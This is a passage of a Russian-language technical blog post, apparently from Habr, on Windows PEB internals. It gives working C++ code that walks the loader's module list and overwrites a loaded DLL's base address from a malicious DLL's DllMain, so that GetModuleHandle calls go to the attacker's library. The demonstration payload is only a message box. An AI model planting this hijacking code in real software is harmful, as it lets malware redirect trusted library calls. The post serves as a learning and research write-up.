{"id":374976,"date":"2024-05-21T06:13:23","date_gmt":"2024-05-21T06:13:23","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=374976"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=374976","title":{"rendered":"<span>\u041f\u043e\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u0441\u044f \u0432 PEB. DLL Spoofing<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0412 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 <a href=\"https:\/\/habr.com\/ru\/articles\/808787\/\" rel=\"noopener noreferrer nofollow\">\u0441\u0442\u0430\u0442\u044c\u0435 <\/a>\u043c\u044b \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0435\u043d\u0438\u0438 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438 PEB \u0438 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\u0441\u044c, \u043a\u0430\u043a \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438.<br \/>\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044f \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u0441 PEB, \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0441\u043f\u043e\u0441\u043e\u0431 \u043f\u043e\u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c\u0443\u044e \u0438\u0437 DLL \u0444\u0443\u043d\u043a\u0446\u0438\u044e.<\/p>\n<p>\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043c \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0438\u0437 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438:<\/p>\n<pre><code class=\"cpp\">#include \"Windows.h\" int main() { LoadLibraryW(L\"OrigDll.dll\"); (GetProcAddress(GetModuleHandleW(L\"OrigDll.dll\"),\"foo1\"))(); }<\/code><\/pre>\n<p>\u041d\u0430\u043f\u0438\u0448\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u0435\u0439\u0448\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443, \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u044e\u0449\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e foo1:<\/p>\n<pre><code class=\"cpp\">extern \"C\" __declspec(dllexport) void foo1() {     MessageBoxA(NULL, \"Orig\", \"Orig\", MB_OK); } BOOL APIENTRY DllMain( HMODULE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                      ) {     switch (ul_reason_for_call)     {     case DLL_PROCESS_ATTACH:     case DLL_THREAD_ATTACH:     case DLL_THREAD_DETACH:     case DLL_PROCESS_DETACH:         break;     }     return TRUE; }<\/code><\/pre>\n<p>\u041f\u0440\u0438 \u043e\u0431\u044b\u0447\u043d\u043e\u043c \u0445\u043e\u0434\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2f6\/00f\/bf1\/2f600fbf16d99c9516552e4d75e9301b.png\" width=\"116\" height=\"127\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/2f6\/00f\/bf1\/2f600fbf16d99c9516552e4d75e9301b.png\"\/><\/figure>\n<p>\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432 IDA Pro \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 foo1<\/p>\n<p>\u041f\u043e\u0441\u0442\u0430\u0432\u0438\u043c \u0442\u043e\u0447\u043a\u0443 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0430<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/4ea\/ef1\/076\/4eaef10769588e97c3522b5254add54d.png\" width=\"735\" height=\"255\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4ea\/ef1\/076\/4eaef10769588e97c3522b5254add54d.png\"\/><\/figure>\n<p>\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043c\u0441\u044f \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u043e\u043c \u0438 \u0432 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u043d\u0430\u0439\u0434\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e kernelbase_GetModuleHandleW \u0438\u0437 kernelbase.dll :<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/447\/0cd\/cf6\/4470cdcf686feebc0afcf22b1cfc7292.png\" width=\"582\" height=\"165\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/447\/0cd\/cf6\/4470cdcf686feebc0afcf22b1cfc7292.png\"\/><\/figure>\n<p>\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/37e\/fb5\/125\/37efb51254d6b9268e94252c04615b79.png\" width=\"1115\" height=\"392\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/37e\/fb5\/125\/37efb51254d6b9268e94252c04615b79.png\"\/><\/figure>\n<p>\u0417\u0434\u0435\u0441\u044c \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f NULL, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f ImageBaseAddress \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438\u0437 PEB, \u0447\u0442\u043e \u043d\u0430\u043c\u0435\u043a\u0430\u0435\u0442 \u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 PEB \u0434\u043b\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0430\u0434\u0440\u0435\u0441\u0430 \u0438\u0441\u043a\u043e\u043c\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438.<br \/>\u0418\u043d\u0430\u0447\u0435, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f ntdll_LdrGetDllHandle.<\/p>\n<p>\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 ntdll.dll:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/735\/ee4\/da7\/735ee4da7a5c3a54031600aee22f8f26.png\" width=\"963\" height=\"431\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/735\/ee4\/da7\/735ee4da7a5c3a54031600aee22f8f26.png\"\/><\/figure>\n<p>\u0417\u0434\u0435\u0441\u044c \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f LdrGetDllHandleEx, \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430\u0445 \u0431\u044b\u043b\u0430 \u0432 \u0444\u0430\u0439\u043b\u0435 ldrapi.c<\/p>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u043c\u0441\u044f \u043a <a href=\"https:\/\/doxygen.reactos.org\/d7\/d55\/ldrapi_8c.html#a765316e08d43c48de382004d9fb1a4ec\" rel=\"noopener noreferrer nofollow\">\u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430\u043c <\/a>ReactOS, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u0445\u043e\u0442\u044c \u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043f\u0438\u0435\u0439 Windows, \u0432\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/551\/e5f\/132\/551e5f132fd8e85d6c8218830d08118e.png\" width=\"773\" height=\"481\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/551\/e5f\/132\/551e5f132fd8e85d6c8218830d08118e.png\"\/><\/figure>\n<p>\u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 LDR_DATA_TABLE_ENTRY, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 PEB.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c, \u043e\u0431\u043b\u0430\u0434\u0430\u044f \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 PEB \u0431\u0443\u0434\u0435\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u0441 DLL, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043c \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c 2 DLL \u0441 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u043c\u0438 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438<\/p>\n<p>\u0421\u0430\u043c\u044b\u0439 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<pre><code class=\"cpp\">int main() { LoadLibraryW(L\"OrigDll.dll\"); LoadLibraryW(L\"SecondLibrary.dll\"); (GetProcAddress(GetModuleHandleW(L\"OrigDll.dll\"),\"foo1\"))(); (GetProcAddress(GetModuleHandleW(L\"SecondLibrary.dll\"),\"foo1\"))();  }<\/code><\/pre>\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043c \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432 \u0432\u0438\u0434\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 \u043e\u0431\u0435\u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439:<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/9b3\/6b3\/b56\/9b36b3b568d7906986a9404247df1279.png\" width=\"146\" height=\"162\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/9b3\/6b3\/b56\/9b36b3b568d7906986a9404247df1279.png\"\/><\/figure>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a18\/7a0\/bd5\/a187a0bd5f83d75d1235f4d14bcb7567.png\" width=\"146\" height=\"160\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a18\/7a0\/bd5\/a187a0bd5f83d75d1235f4d14bcb7567.png\"\/><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c \u043a \u0441\u0430\u043c\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u043c\u0443.<\/p>\n<p>\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 dll, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 GetModuleHandle.<\/p>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c \u0432\u0441\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0442\u0438\u043f\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043c\u0430\u043a\u0440\u043e\u0441 \u0434\u043b\u044f \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0442\u0440\u043e\u043a\u0438 \u043a \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0443:<\/p>\n<pre><code class=\"cpp\">#ifndef TO_LOWERCASE #define TO_LOWERCASE(out, c1) (out = (c1 &lt;= 'Z' &amp;&amp; c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1) #endif  typedef struct _UNICODE_STRING {     USHORT Length;     USHORT MaximumLength;     PWSTR  Buffer;  } UNICODE_STRING, * PUNICODE_STRING;  typedef struct _PEB_LDR_DATA {     ULONG Length;     BOOLEAN Initialized;     HANDLE SsHandle;     LIST_ENTRY InLoadOrderModuleList;     LIST_ENTRY InMemoryOrderModuleList;     LIST_ENTRY InInitializationOrderModuleList;     PVOID      EntryInProgress;  } PEB_LDR_DATA, * PPEB_LDR_DATA;  typedef struct _LDR_DATA_TABLE_ENTRY {     LIST_ENTRY  InLoadOrderModuleList;     LIST_ENTRY  InMemoryOrderModuleList;     LIST_ENTRY  InInitializationOrderModuleList;     void* BaseAddress;     void* EntryPoint;     ULONG   SizeOfImage;     UNICODE_STRING FullDllName;     UNICODE_STRING BaseDllName;     ULONG   Flags;     SHORT   LoadCount;     SHORT   TlsIndex;     HANDLE  SectionHandle;     ULONG   CheckSum;     ULONG   TimeDateStamp; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;   typedef struct _PEB {     UCHAR InheritedAddressSpace;                                            \/\/0x0     UCHAR ReadImageFileExecOptions;                                         \/\/0x1     UCHAR BeingDebugged;                                                    \/\/0x2     union     {         UCHAR BitField;                                                     \/\/0x3         struct         {             UCHAR ImageUsesLargePages : 1;                                    \/\/0x3             UCHAR IsProtectedProcess : 1;                                     \/\/0x3             UCHAR IsImageDynamicallyRelocated : 1;                            \/\/0x3             UCHAR SkipPatchingUser32Forwarders : 1;                           \/\/0x3             UCHAR IsPackagedProcess : 1;                                      \/\/0x3             UCHAR IsAppContainer : 1;                                         \/\/0x3             UCHAR IsProtectedProcessLight : 1;                                \/\/0x3             UCHAR IsLongPathAwareProcess : 1;                                 \/\/0x3         };     };     UCHAR Padding0[4];                                                      \/\/0x4     VOID* Mutant;                                                           \/\/0x8     VOID* ImageBaseAddress;                                                 \/\/0x10     struct _PEB_LDR_DATA* Ldr;                                              \/\/0x18     struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;                 \/\/0x20 } PEB, * PPEB;<\/code><\/pre>\n<p>\u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0430\u0434\u0440\u0435\u0441\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a PEB_LDR_DATA.<\/p>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0430\u0434\u0440\u0435\u0441 PEB:<\/p>\n<pre><code class=\"cpp\">PPEB peb = NULL; peb = (PPEB)__readgsqword(0x60);<\/code><\/pre>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0430\u0434\u0440\u0435\u0441 PEB_LDR_DATA:<\/p>\n<pre><code class=\"cpp\">_PEB_LDR_DATA* ldr = peb->Ldr;<\/code><\/pre>\n<p>\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 InLoadOrderModuleList \u0442\u0438\u043f\u0430 LIST_ENTRY, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u0432\u0443\u0441\u0432\u044f\u0437\u043d\u044b\u043c \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439:<\/p>\n<pre><code class=\"cpp\">LIST_ENTRY list = ldr->InLoadOrderModuleList;<\/code><\/pre>\n<p>\u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043d\u0430\u0439\u0442\u0438 \u043d\u0443\u0436\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445, \u0431\u0443\u0434\u0435\u043c \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0442\u044c \u0438\u043c\u044f \u043c\u043e\u0434\u0443\u043b\u044f, \u0441 \u0438\u0441\u043a\u043e\u043c\u044b\u043c:<\/p>\n<pre><code class=\"cpp\">PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&amp;list)); PLDR_DATA_TABLE_ENTRY curr_module = Flink;  while (curr_module != NULL &amp;&amp; curr_module->BaseAddress != NULL) {     if (curr_module->BaseDllName.Buffer == NULL) continue;     WCHAR* curr_name = curr_module->BaseDllName.Buffer;      size_t i = 0;     for (i = 0; module_name[i] != 0 &amp;&amp; curr_name[i] != 0; i++) {         WCHAR c1, c2;         TO_LOWERCASE(c1, module_name[i]);         TO_LOWERCASE(c2, curr_name[i]);         if (c1 != c2) break;     }     if (module_name[i] == 0 &amp;&amp; curr_name[i] == 0) {             \/\/found     }     curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink; }<\/code><\/pre>\n<p>\u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u043c\u043e\u0434\u0443\u043b\u044c \u0432 PEB \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u043d\u0430\u0443\u0447\u0438\u043b\u0438\u0441\u044c. \u0422\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u043c\u043e\u0434\u0443\u043b\u044c \u043d\u0430\u0439\u0434\u0435\u043d, \u0437\u0430\u043c\u0435\u043d\u0438\u043c \u0435\u0433\u043e BaseAddress \u0438 \u0437\u0430\u043e\u0434\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u043b\u0438 \u043e\u043d \u0441 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c GetModuleHandle.<br \/>\u0412 \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0430\u0434\u0440\u0435\u0441\u0430 DLL:<\/p>\n<pre><code class=\"cpp\">BOOL spoofDllHandle(WCHAR* module_name, LPVOID newHandle) {     PPEB peb = NULL;     peb = (PPEB)__readgsqword(0x60);     _PEB_LDR_DATA* ldr = peb->Ldr;     LIST_ENTRY list = ldr->InLoadOrderModuleList;      PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&amp;list));     PLDR_DATA_TABLE_ENTRY curr_module = Flink;      while (curr_module != NULL &amp;&amp; curr_module->BaseAddress != NULL) {         if (curr_module->BaseDllName.Buffer == NULL) continue;         WCHAR* curr_name = curr_module->BaseDllName.Buffer;          size_t i = 0;         for (i = 0; module_name[i] != 0 &amp;&amp; curr_name[i] != 0; i++) {             WCHAR c1, c2;             TO_LOWERCASE(c1, module_name[i]);             TO_LOWERCASE(c2, curr_name[i]);             if (c1 != c2) break;         }         if (module_name[i] == 0 &amp;&amp; curr_name[i] == 0) {             curr_module->BaseAddress = newHandle;             if (GetModuleHandleW(module_name) == newHandle)                 return TRUE;             return FALSE;         }         curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;     }     return FALSE; }<\/code><\/pre>\n<p>\u0427\u0442\u043e \u0441 \u044d\u0442\u0438\u043c \u0434\u0435\u043b\u0430\u0442\u044c-\u0442\u043e?<\/p>\n<p>\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043c \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e, \u043a\u043e\u0433\u0434\u0430 \u0432\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u0430\u044f DLL \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439. \u0422\u0430\u043a\u043e\u0435 \u0447\u0430\u0441\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435, \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e \u043a \u043f\u043e\u0434\u043c\u0435\u043d\u0435 DLL.<\/p>\n<p>\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u0439 DLL \u0432 DllMain \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c \u0432\u044b\u0437\u043e\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0430\u0434\u0440\u0435\u0441\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e:<\/p>\n<pre><code class=\"cpp\">wchar_t toSpoofName[] = L\"OrigDll.dll\";   BOOL APIENTRY DllMain( HMODULE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                      ) {     switch (ul_reason_for_call)     {     case DLL_PROCESS_ATTACH:     {      if (spoofDllHandle(toSpoofName, hModule))         {             MessageBoxW(NULL, L\"SUCCESS!\", L\"SPOOFED\", MB_OK);         }         break;     }     case DLL_THREAD_ATTACH:     case DLL_THREAD_DETACH:     case DLL_PROCESS_DETACH:         break;     }     return TRUE; }<\/code><\/pre>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435, \u0435\u0441\u043b\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u0430, \u0430\u0434\u0440\u0435\u0441 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0434\u043c\u0435\u043d\u0435\u043d \u043d\u0430 \u043d\u0430\u0448, \u0438 \u0432\u044b\u0441\u043a\u043e\u0447\u0438\u0442 MessageBox:<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/62f\/683\/db6\/62f683db6b537038ec694883ab12fffc.png\" width=\"152\" height=\"167\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/62f\/683\/db6\/62f683db6b537038ec694883ab12fffc.png\"\/><\/figure>\n<p>\u0410 \u0437\u0430\u0442\u0435\u043c \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0438\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438:<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" 